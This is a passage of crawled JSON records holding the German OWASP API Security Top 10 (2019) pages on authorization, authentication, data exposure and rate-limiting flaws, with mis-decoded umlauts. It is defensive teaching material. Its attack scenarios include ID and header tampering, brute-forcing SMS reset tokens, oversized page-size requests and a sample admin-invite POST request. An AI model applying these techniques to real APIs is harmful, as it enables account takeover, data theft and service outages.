Autorisierung auf Objektebene sind, indem sie die ID eines Objekts manipulieren, die innerhalb des Requests gesendet wird. Dies kann zu einem unberechtigten Zugriff auf sensible Daten fĂźhren. Dieses Problem tritt bei API-basierten Anwendungen häufig auf, da die Serverkomponente in der Regel nicht den vollständigen Status des Clients verfolgt und stattdessen stärker auf Parameter wie Objekt-IDs angewiesen ist, die vom Client gesendet werden, um zu entscheiden, auf welche Objekte zugegriffen werden soll. | Dies ist der häufigste und folgenreichste Angriff auf APIs. Autorisierungs- und Zugriffskontrollmechanismen in modernen Anwendungen sind komplex und weit verbreitet. Selbst wenn die Anwendung eine angemessene Infrastruktur fĂźr AutorisierungsprĂźfungen implementiert, kĂśnnen Entwickler vergessen, diese PrĂźfungen vor dem Zugriff auf ein sensibles Objekt durchzufĂźhren. Die Erkennung von Zugriffskontrollen ist in der Regel nicht durch automatisierte statische oder dynamische Tests mĂśglich. | Unbefugter Zugriff kann zur Offenlegung von Daten an Unbefugte, zu Datenverlust oder Datenmanipulation fĂźhren. Unbefugter Zugriff auf Objekte kann auch zu einer vollständigen Übernahme des Kontos fĂźhren. |\n\n## Ist die API angreifbar?\n\nDie Autorisierung auf Objektebene ist ein Zugriffskontrollmechanismus, der in der Regel auf Codeebene implementiert wird, um sicherzustellen, dass ein Benutzer nur auf die Objekte zugreifen kann, auf die er Zugriff haben sollte.\n\nJeder API-Endpunkt, der die ID eines Objekts empfängt und irgendeine Art von Aktion mit dem Objekt ausfĂźhrt, sollte BerechtigungsprĂźfungen auf Objektebene implementieren. Diese PrĂźfungen sollten validieren, dass der eingeloggte Benutzer die Berechtigung hat, die angeforderte Aktion an dem angeforderten Objekt durchzufĂźhren.\n\nVersagen dieses Mechanismus fĂźhrt in der Regel zur unberechtigten Offenlegung, Änderung oder ZerstĂśrung aller Daten.\n\n## Beispiele fĂźr Angriffe\n\n### Szenario #1\n\nEin E-Commerce-Plattform fĂźr Online-Shops bietet eine Auflistungsseite mit Umsatzdiagrammen fĂźr die von ihr gehosteten Shops. Durch Untersuchung der Browseranfragen kann ein Angreifer die API-Endpunkte identifizieren, die als Datenquelle fĂźr diese Diagramme dienen und deren Muster `/shops/{shopName}/revenue_data.json` ist. Über einen anderen API-Endpunkt kann der Angreifer eine Liste aller gehosteten Shopnamen abrufen. Mithilfe eines einfachen Skripts, das die Namen in der Liste manipuliert und `{shopName}` in der URL ersetzt, erhält der Angreifer Zugang zu den Verkaufsdaten von Tausenden von E-Commerce-Shops.\n\n### Szenario #2\n\nBeim Überwachen des Netzwerkverkehrs eines Wearable fällt einem Angreifer eine HTTP PATCH-Anfrage auf, die einen benutzerdefinierten HTTP-Anfrageheader mit dem Namen X-User-Id: 54796 enthält. Durch Ersetzen des X-User-Id-Werts durch 54795 erhält der Angreifer eine erfolgreiche HTTP-Antwort und kann die Kontodaten anderer Benutzer ändern.\n\n## Vorbeugende Maßnahmen\n\n- Implementierung eines angemessenen Autorisierungsmechanismus, der auf den Benutzerrichtlinien und der Benutzerhierarchie basiert.\n- Verwenden Sie einen Autorisierungsmechanismus, um zu ĂźberprĂźfen, ob der eingeloggte Benutzer berechtigt ist, die angeforderte Aktion fĂźr den Datensatz in jeder Funktion auszufĂźhren, die eine Eingabe vom Client verwendet, um auf einen Datensatz in der Datenbank zuzugreifen.\n- Verwenden Sie zufällige und nicht vorhersehbare GUIDs als IDs fĂźr Datensätze, wo immer mĂśglich.\n- Schreiben Sie Tests, um den Autorisierungsmechanismus zu bewerten. VerĂśffentlichen Sie keine anfälligen Änderungen, die die Tests brechen.\n\n## Referenzen\n\n### OWASP\n\n- [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 4212, "slov": 527, "odkazu": 163, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:31", "sha256": "872cb6e621b99bbbf4380a392aac141e2c6972a0e664ae4f03ed1b525c59c9d4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xa2-broken-user-authentication/", "titulek": "API2:2019 Broken User Authentication - OWASP API Security Top 10", "h1": "API2:2019 Broken User Authentication", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xa2-broken-user-authentication/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2019 Broken User Authentication"}, {"uroven": 2, "text": "Ist die API angreifbar?"}, {"uroven": 2, "text": "Beispiele fĂźr Angriffe"}, {"uroven": 3, "text": "Szenario #1"}, {"uroven": 3, "text": "Szenario #2"}, {"uroven": 2, "text": "Vorbeugende Maßnahmen"}, {"uroven": 2, "text": "Referenzen"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externe Quellen"}], "markdown": "# API2:2019 Broken User Authentication\n\n| Bedrohungsakteure/Angriffsvektoren | SicherheitslĂźcken | Auswirkungen |\n| --- | --- | --- |\n| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **2** : Erkennbarkeit **2** | Komplexität **3** : Unternehmensspezifisch |\n| Die Authentifizierung in APIs ist ein komplexer und unĂźbersichtlicher Prozess. Softwareentwickler haben mĂśglicherweise falsche Vorstellungen darĂźber, wo die Einschränkungen der Authentifizierung liegen und wie man sie richtig implementiert. DarĂźber hinaus ist der Authentifizierungsmechanismus ein leichtes Ziel fĂźr Angreifer, da er fĂźr jeden zugänglich ist. Diese beiden Punkte machen die Authentifizierungskomponente anfällig fĂźr zahlreiche Angriffe. | Es gibt zwei Unterpunkte: 1. Fehlende Schutzmechanismen: API-Endpunkte, die fĂźr die Authentifizierung zuständig sind, mĂźssen anders behandelt werden als normale Endpunkte und zusätzliche Schutzmechanismen implementieren. 2. Falsche Implementierung des Verfahrens: Der Prozess der Authentifizierung wird verwendet/implementiert, ohne die Angriffsvektoren zu berĂźcksichtigen, oder es ist der falsche Anwendungsfall (z. B. ist ein Authentifizierungsmechanismus, der fĂźr IoT-Clients entwickelt wurde, mĂśglicherweise nicht die richtige Wahl fĂźr Webanwendungen) implementiert worden. | Angreifer kĂśnnen die Kontrolle Ăźber die Konten anderer Benutzer im System Ăźbernehmen, ihre persĂśnlichen Daten auslesen und sensiblen Aktionen in deren Namen ausfĂźhren, wie Geld transferieren oder persĂśnlichen Nachrichten versenden. |\n\n## Ist die API angreifbar?\n\nEndpunkte fĂźr die Authentifizierungs sind sensible Funktionen, die geschĂźtzt werden mĂźssen. \"Passwort\nvergessen / zurĂźcksetzen\" sollte genauso behandelt werden wie Authentifizierungsmechanismen.\n\nEine API ist verwundbar, wenn sie folgendes zulässt:\n* Wenn diese [credential stuffing](https://www.owasp.org/index.php/Credential_stuffing) zulässt. Hierbei versucht sich in Angreifer mit einer\n Liste geklauter Zugangsdaten einzuloggen.\n* Wenn diese es Angreifern erlaubt, einen Brute-Force-Angriff auf dasselbe Benutzerkonto durchzufĂźhren,\n ohne ein Captcha-Mechanismus oder eine Sperrfunktion fĂźr das Konto implementieren.\n* Wenn die API unsichere PasswĂśrter erlaubt.\n* Sensible Anmeldeinformationen, wie Auth-Tokens und PasswĂśrter, in der URL sendet.\n* Die Authentizität von Tokens nicht validiert.\n* Unsignierte/schwach signierte JWT-Tokens (\"alg\":\"none\") akzeptiert oder deren Ablaufdatum nicht validiert.\n* PasswĂśrter im Klartext speichert oder schwache Hash-Funktion fĂźr PasswĂśrter benutzt.\n* Schwache VerschlĂźsselungsschlĂźssel verwendet.\n\n## Beispiele fĂźr Angriffe\n\n### Szenario #1\n\n[Credential stuffing](https://www.owasp.org/index.php/Credential_stuffing) (durch Verwendung von [Listen mit bekannten Benutzernamen/PasswĂśrtern](https://github.com/danielmiessler/SecLists))\nist ein häufiger Angriff. Wenn eine Anwendung keine automatischen Schutzmaßnahmen gegen Bedrohungen\noder Credential Stuffing implementiert, kann die Anwendung als Passwort-Oracle (Tester) verwendet werden,\num zu bestimmen, ob die Anmeldeinformationen gĂźltig sind.\n\n### Szenario #2\n\nEin Angreifer startet den Passwort-Wiederherstellungs-Prozess, indem er eine POST-Anfrage an\n`/api/system/verification-codes` sendet und den Benutzernamen im Anfrage-Body bereitstellt.\nAls nächstes wird ein SMS-Token mit 6 Ziffern an das Telefon des Opfers gesendet. Da die API keine Policy\nzur Begrenzung der Abfragerate implementiert, kann der Angreifer alle mĂśglichen Kombinationen mit\neinem mehrthreadigen Skript gegen das Endpunkt `/api/system/verification-codes/{smsToken}` testen, um\ninnerhalb weniger Minuten das richtige Token zu entdecken.\n\n## Vorbeugende Maßnahmen\n\n- Es sollte sichergestellt werden, dass alle Methoden zur Authentifizierung einer API bekannt sind (Mobile/Web/Deep Links, die eine Ein-Klick-Authentifizierung).\n- Es sollte mit den Software-Entwicklern abgestimmt werden ob es noch weitere Methoden zur Authentifizierung gibt.\n- Informieren Sie sich die genutzen Authentifizierungsmechanismen. Stellen Sie sicher, dass Sie verstehen, was und\n wie diese verwendet werden. OAuth ist keine Authentifizierung und API-SchlĂźssel auch nicht.\n- Erfinde Sie das Rad nicht neu in Bezug auf Authentifizierung, Token-Generierung und Passwort-Speicherung. Verwenden Sie\n die anerkannten Standards.\n- Endpunkte fĂźr Passwort-Vergeßen Funktion sollten in Bezug auf Brute-Force Angriffe, Begrenzung der Abfragerate und Sperrmechanismen wie Login-Endpunkte behandelt werden.\n- Benutzen Sie das [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) .\n- Implementieren Sie Multi-Faktor-Authentifizierung, sofern dies mĂśglich ist.\n- Implementieren SIe Anti-Brute-Force-Mechanismen, um Credential Stuffing, Dictionary-Attacken und Brute-Force-Angriffe auf die Authentifizierungs-Endpunkte zu erschweren. Dieser Mechanismus sollte restriktiver sein als die reguläre Begrenzung der Abfragerate der API.\n- Implementieren Sie [Accountsperren](https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)) oder Captchas um Brute-Force-Angriffe auf bestimmte Benutzer zu verhindern.\n PrĂźfen sie alle PasswĂśrter auf schwache PasswĂśrter.\n- API-SchlĂźssel sollten nicht fĂźr die Benutzerauthentifizierung verwendet werden, sondern fĂźr [client app/\n project authentication](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) .\n\n## Referenzen\n\n### OWASP\n\n- [OWASP Key Management Cheat Sheet](https://www.owasp.org/index.php/Key_Management_Cheat_Sheet)\n- [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Credential Stuffing](https://www.owasp.org/index.php/Credential_stuffing)\n\n### Externe Quellen\n\n- [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)", "znaku_textu": 5816, "slov": 636, "odkazu": 168, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:40", "sha256": "cfc01ae779ce708796a682fc4127a75e3a2ac5206ff2923eab3078915c959aa5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Credential_stuffing", "https://github.com/danielmiessler/SecLists", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://www.owasp.org/index.php/Key_Management_Cheat_Sheet", "https://cwe.mitre.org/data/definitions/798.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xa3-excessive-data-exposure/", "titulek": "API3:2019 Excessive Data Exposure - OWASP API Security Top 10", "h1": "API3:2019 Excessive Data Exposure", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xa3-excessive-data-exposure/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2019 Excessive Data Exposure"}, {"uroven": 2, "text": "Ist die API angreifbar?"}, {"uroven": 2, "text": "Beispiele fĂźr Angriffe"}, {"uroven": 3, "text": "Szenario #1"}, {"uroven": 3, "text": "Szenario #2"}, {"uroven": 2, "text": "Vorbeugende Maßnahmen"}, {"uroven": 2, "text": "Referenzen"}, {"uroven": 3, "text": "OWASP"}], "markdown": "# API3:2019 Excessive Data Exposure\n\n| Bedrohungsakteure/Angriffsvektoren | SicherheitslĂźcken | Auswirkungen |\n| --- | --- | --- |\n| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **2** : Erkennbarkeit **2** | Komplexität **2** : Unternehmensspezifisch |\n| Die Ausnutzung von Ăźbermäßiger Datenfreigabe ist einfach und erfolgt in der Regel durch Sniffing des Datenverkehrs, um die API-Antworten zu analysieren und nach sensiblen Daten zu suchen, die nicht an den Benutzer zurĂźckgegeben werden sollten. | APIs verlassen sich darauf, dass Clients die Datenfilterung durchfĂźhren. Da APIs als Datenquellen verwendet werden, versuchen Entwickler manchmal, sie auf generische Weise zu implementieren, ohne an die Sensibilität der offengelegten Daten zu denken. Automatische Tools kĂśnnen diese Art von Schwachstellen in der Regel nicht erkennen, da es schwierig ist, zwischen legitimen Daten, die von der API zurĂźckgegeben werden, und sensiblen Daten, die ohne tiefes Verständnis der Anwendung nicht zurĂźckgegeben werden sollten, zu unterscheiden. | Eine Ăźbermäßige Datenexposition fĂźhrt in der Regel zur Offenlegung sensibler Daten. |\n\n## Ist die API angreifbar?\n\nDie API gibt sensible Daten absichtlich an den Client zurĂźck. Diese Daten werden normalerweise auf der Client-Seite gefiltert, bevor sie dem Benutzer präsentiert werden. Ein Angreifer kann den Datenverkehr leicht ausspähen und die sensiblen Daten sehen.\n\n## Beispiele fĂźr Angriffe\n\n### Szenario #1\n\nDas Mobile-Team verwendet den Endpunkt `/api/articles/{articleId}/comments/{commentId}`\nin der Artikelansicht, um Metadaten zu Kommentaren zu rendern. Durch das Sniffing des Datenverkehrs der mobilen Anwendung findet ein Angreifer heraus, dass auch andere sensible Daten, die sich auf den Autor des Kommentars beziehen, zurĂźckgegeben werden. Die Implementierung des Endpunkts verwendet eine generische `toJSON()`-Methode des User-Modells, das PII enthält, um das Objekt zu serialisieren.\n\n### Szenario #2\n\nEin IoT-basiertes Überwachungssystem ermĂśglicht es Administratoren, Benutzer mit unterschiedlichen Berechtigungen zu erstellen. Ein Administrator erstellt ein Benutzerkonto fĂźr einen neuen Sicherheitsmitarbeiter, der nur Zugang zu bestimmten Gebäuden auf dem Gelände haben sollte. Sobald der Sicherheitsmitarbeiter seine mobile App verwendet, wird ein API-Aufruf ausgelĂśst: /api/sites/111/cameras, um Daten Ăźber die verfĂźgbaren Kameras zu erhalten und sie auf dem Dashboard anzuzeigen. Die Antwort enthält eine Liste mit Details Ăźber Kameras im folgenden Format: `{\"id\": \"xxx\", \"live_access_token\": \"xxxx-bbbbb\", \"building_id\": \"yyy\"}`. Während die Client-GUI nur Kameras anzeigt, auf die der Sicherheitsmitarbeiter Zugriff haben soll, enthält die tatsächliche API-Antwort eine vollständige Liste aller Kameras auf dem Gelände.\n\n## Vorbeugende Maßnahmen\n\n- Verlassen Sie sich niemals auf die Client-Seite, um sensible Daten zu filtern.\n- ÜberprĂźfen Sie die Antworten der API, um sicherzustellen, dass sie nur legitime Daten enthalten.\n- Backend-Entwickler sollten sich immer fragen \"Wer ist der Nutzer der Daten?\", bevor sie einen neuen API-Endpunkt freigeben.\n- Vermeiden Sie die Verwendung generischer Methoden wie `to_json()` und `to_string()` .\n Wählen Sie stattdessen spezifische Eigenschaften aus, die Sie wirklich zurĂźckgeben mĂśchten.\n- Klassifizieren Sie sensible und persĂśnlich identifizierbare Informationen (PII), die Ihre Anwendung speichert und verarbeitet. ÜberprĂźfen Sie alle API-Aufrufe, die solche Informationen zurĂźckgeben, um zu sehen, ob diese Antworten ein Sicherheitsproblem darstellen.\n- Implementieren Sie einen schema-basierten Response-Validierungsmechanismus als zusätzliche Sicherheitsebene. Im Rahmen dieses Mechanismus definieren und erzwingen Sie die Daten, die von allen API-Methoden zurĂźckgegeben werden, einschließlich Fehler.\n\n## Referenzen\n\n### OWASP\n\n- [CWE-213: Intentional Information Exposure](https://cwe.mitre.org/data/definitions/213.html)", "znaku_textu": 3898, "slov": 497, "odkazu": 161, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:41:12", "sha256": "fdd675a024025bf6f3288a1a5feb7ccd07262cd2f72dcdba6f6238698f5838c7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/213.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xa4-lack-of-resources-and-rate-limiting/", "titulek": "API4:2019 Lack of Resources & Rate Limiting - OWASP API Security Top 10", "h1": "API4:2019 Lack of Resources & Rate Limiting", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xa4-lack-of-resources-and-rate-limiting/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2019 Lack of Resources & Rate Limiting"}, {"uroven": 2, "text": "Ist die API angreifbar?"}, {"uroven": 2, "text": "Beispiele fĂźr Angriffe"}, {"uroven": 3, "text": "Szenario #1"}, {"uroven": 3, "text": "Szenario #2"}, {"uroven": 2, "text": "Vorbeugende Maßnahmen"}, {"uroven": 2, "text": "Referenzen"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externe Quellen"}], "markdown": "# API4:2019 Lack of Resources & Rate Limiting\n\n| Bedrohungsakteure/Angriffsvektoren | SicherheitslĂźcken | Auswirkungen |\n| --- | --- | --- |\n| API-spezifisch : Ausnutzbarkeit **2** | Häufigkeit **3** : Erkennbarkeit **3** | Komplexität **2** : Unternehmensspezifisch |\n| Die Ausnutzung erfordert einfache API-Anfragen. Es ist keine Authentifizierung erforderlich. Mehrere gleichzeitige Anfragen kĂśnnen von einem einzigen lokalen Computer aus oder unter Verwendung von Cloud-Computing-Ressourcen durchgefĂźhrt werden. | Es ist Ăźblich, APIs zu finden, die keine Rate-Limitierung implementieren oder APIs, bei denen die Limits nicht ordnungsgemäß gesetzt sind. | Eine Ausnutzung kann zu DoS fĂźhren, wodurch die API nicht mehr reagiert oder sogar nicht mehr verfĂźgbar ist. |\n\n## Ist die API angreifbar?\n\nAPI-Anforderungen verbrauchen Ressourcen wie Netzwerk, CPU, Arbeitsspeicher und Speicherplatz. Die\nMenge an Ressourcen, die zur Beantwortung einer Anfrage benĂśtigt wird, hängt stark von der\nEingabe und der Geschäftslogik des Endpunkts ab. BerĂźcksichtigen Sie auch die Tatsache, dass Anfragen von\nmehreren API-Clients um die Ressourcen konkurrieren. Eine API ist verwundbar, wenn mindestens eine\nder folgenden Grenzwerte fehlt oder unangemessen eingestellt ist (z. B. zu niedrig/hoch):\n\n- AusfĂźhrungszeitĂźberschreitungen\n- Maximal zuweisbarer Speicher\n- Anzahl der Dateideskriptoren\n- Anzahl der Prozesse\n- Größe der Nutzlast von Anfragen (z. B. Uploads)\n- Anzahl der Anfragen pro Client/Ressource\n- Anzahl der Datensätze pro Seite, die in einer einzigen Anfrageantwort zurĂźckgegeben werden sollen\n\n## Beispiele fĂźr Angriffe\n\n### Szenario #1\n\nEin Angreifer lädt ein großes Bild hoch, indem er eine POST-Anfrage an `/api/v1/images` stellt.\nWenn der Upload abgeschlossen ist, erstellt die API mehrere Miniaturbilder mit unterschiedlichen\nGrößen. Aufgrund der Größe des hochgeladenen Bildes ist der verfĂźgbare Speicher\nwährend der Erstellung der Miniaturansichten erschĂśpft und die API reagiert nicht mehr.\n\n### Szenario #2\n\nGegeben ist eine Anwendung, die die Benutzerliste auf einer Benutzeroberfläche mit einer Begrenzung von\n200 Benutzer pro Seite anzeigt. Die Benutzerliste wird mit folgender Abfrage vom Server abgerufen: `/api/users?page=1&size=200`. Ein Angreifer ändert den Parameter `size`\nParameter auf `200.000`, was zu Leistungsproblemen in der Datenbank fĂźhrt. In der Zwischenzeit\nreagiert die API nicht mehr und ist nicht mehr in der Lage, weitere Anfragen von diesem\noder anderen Clients zu beantworten (DoS).\n\nDas gleiche Szenario kann verwendet werden, wenn ein Integer oder Buffer Overflow auftritt.\n\n## Vorbeugende Maßnahmen\n\n- Docker macht es einfach [Speicher](https://docs.docker.com/config/containers/resource_constraints/#memory) , [CPU](https://docs.docker.com/config/containers/resource_constraints/#cpu) , [Anzahl der Neustarts](https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart) , [Dateideskriptoren und Prozesse](https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit) zu beschränken.\n- Implementieren Sie ein Limit, wie oft ein Client die API innerhalb eines bestimmten\n Zeitrahmen abrufen kann.\n- Benachrichtigen Sie den Client, wenn das Limit Ăźberschritten wird, indem Sie die Limitnummer und\n den Zeitpunkt, zu dem das Limit zurĂźckgesetzt wird bekanntgeben.\n- HinzufĂźgen einer ordnungsgemäßen serverseitigen Validierung fĂźr Query String und Request Body\n Parameter, insbesondere denjenigen, die die Anzahl der in der Antwort zurĂźckzugebenden\n Werte betimmen.\n- Definieren und erzwingen Sie die maximale Größe von Daten fĂźr alle eingehenden Parameter und\n und Nutzdaten, wie z. B. die maximale Länge fĂźr Strings und die maximale Anzahl von Elementen in\n Arrays.\n\n## Referenzen\n\n### OWASP\n\n- [Blocking Brute Force Attacks](https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks)\n- [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors,\n processes, restarts)](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts)\n- [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md)\n\n### Externe Quellen\n\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- “ *Rate Limiting (Throttling)* ” - [Security Strategies for Microservices-based\n Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf) , NIST", "znaku_textu": 4718, "slov": 531, "odkazu": 171, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:10", "sha256": "e84a8f7d68c9a7df1e53d32ffb2f9f260616400c3988a60a4ebbd3f1c3f620e6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/770.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xa5-broken-function-level-authorization/", "titulek": "API5:2019 Broken Function Level Authorization - OWASP API Security Top 10", "h1": "API5:2019 Broken Function Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xa5-broken-function-level-authorization/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2019 Broken Function Level Authorization"}, {"uroven": 2, "text": "Ist die API angreifbar?"}, {"uroven": 2, "text": "Beispiele fĂźr Angriffe"}, {"uroven": 3, "text": "Szenario #1"}, {"uroven": 3, "text": "Szenario #2"}, {"uroven": 2, "text": "Vorbeugende Maßnahmen"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externe Quellen"}], "markdown": "# API5:2019 Broken Function Level Authorization\n\n| Bedrohungsakteure/Angriffsvektoren | SicherheitslĂźcken | Auswirkungen |\n| --- | --- | --- |\n| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **2** : Erkennbarkeit **1** | Komplexität **2** : Unternehmensspezifisch |\n| Um eine Schwachstelle auszunutzen, muss der Angreifer legitime API-Aufrufe an einen Endpunkt senden, auf den er eigentlich keinen Zugriff haben sollte. Diese Endpunkte kĂśnnten fĂźr anonyme oder nicht privilegierte Benutzer zugänglich sein. Es ist einfacher, solche Schwachstellen in APIs zu entdecken, da sie besser strukturiert sind und der Weg, um auf bestimmte Funktionen zuzugreifen, vorhersehbarer ist (z. B. indem man die HTTP-Methode von GET auf PUT ändert oder den Teil `users` in der URL in `admins` ändert). | BerechtigungsprĂźfungen fĂźr eine Funktion oder Ressource werden in der Regel Ăźber die Konfiguration und manchmal auch auf Code-Ebene verwaltet. Die Implementierung geeigneter PrĂźfungen kann eine verwirrende Aufgabe sein, da moderne Anwendungen viele Arten von Rollen oder Gruppen und komplexe Benutzerhierarchien (z. B. Unterbenutzer, Benutzer mit mehr als einer Rolle) enthalten kĂśnnen. | Solche Schwachstellen ermĂśglichen es Angreifern, auf nicht autorisierte Funktionen zuzugreifen. Verwaltungsfunktionen sind wichtige Ziele fĂźr diese Art von Angriffen. |\n\n## Ist die API angreifbar?\n\nDie beste MĂśglichkeit, um Schwachstellen in der Funktionsautorisierung zu finden, besteht darin, eine tiefgreifende Analyse des Autorisierungsmechanismus durchzufĂźhren, wobei die Benutzerhierarchie, verschiedene Rollen oder Gruppen in der Anwendung berĂźcksichtigt werden und die folgenden Fragen gestellt werden:\n\n- Kann ein normaler Benutzer auf administrative Endpunkte zugreifen?\n- Kann ein Benutzer sensible Aktionen (z. B. Erstellung, Änderung oder LĂśschung) durchfĂźhren, auf die er keinen Zugriff haben sollte, indem er einfach die HTTP-Methode ändert (z. B. von `GET` auf `DELETE` )?\n- Kann ein Benutzer aus Gruppe X auf eine Funktion zugreifen, die nur Benutzern aus Gruppe Y zugänglich sein sollte, indem er einfach die Endpunkt-URL und Parameter errät (z. B. `/api/v1/users/export_all` )?\n\nNehmen Sie nicht an, dass ein API-Endpunkt nur aufgrund des URL-Pfads ein regulärer oder administrativer Endpunkt ist.\n\nObwohl Entwickler dazu neigen, die meisten administrativen Endpunkte unter einem bestimmten relativen Pfad wie `api/admins` zu platzieren, ist es sehr häufig, dass diese administrativen Endpunkte zusammen mit regulären Endpunkten unter anderen relativen Pfaden wie `api/users` zu finden sind.\n\n## Beispiele fĂźr Angriffe\n\n### Szenario #1\n\nWährend des Registrierungsprozesses fĂźr eine Anwendung, die nur eingeladenen Nutzern die Teilnahme erlaubt beitreten kĂśnnen, lĂśst die mobile Anwendung einen API-Aufruf aus an `GET /api/invites/{invite_guid}`.\nDie Antwort enthält ein JSON mit Details Ăźber die Einladung, einschließlich der Rolle des Benutzers und seiner E-Mail.\n\nEin Angreifer duplizierte die Anfrage und manipulierte die HTTP-Methode und den Endpunkt zu `POST /api/invites/new`. Dieser Endpunkt sollte nur von Administratoren\nAdministratoren zugreifen, die die Verwaltungskonsole verwenden, die keine Funktions BerechtigungsprĂźfungen implementiert.\n\nDer Angreifer nutzt das Problem aus und sendet sich selbst eine Einladung zur Erstellung eines\nAdministratorkonto zu erstellen:\n\n```\nPOST /api/invites/new\n\n{“email”:”[email protected]”,”role”:”admin”}\n```\n\n### Szenario #2\n\nEine API enthält einen Endpunkt, der nur fĂźr Administratoren zugänglich sein sollte - `GET /api/admin/v1/users/all`. Dieser Endpunkt liefert die Details aller Benutzer der Anwendung zurĂźck und fĂźhrt keine BerechtigungsprĂźfungen auf Funktionsebene durch. Ein Angreifer, der die Struktur der API kennt, errät den Zugriff auf diesen Endpunkt und erlangt dadurch Zugang zu sensiblen Details der Anwendungsnutzer.\n\n## Vorbeugende Maßnahmen\n\nIhre Anwendung sollte ein konsistentes und leicht analysierbares Autorisierungsmodul haben, das von allen Geschäftsfunktionen aufgerufen wird. Häufig wird diese Sicherheit durch eine oder mehrere Komponenten 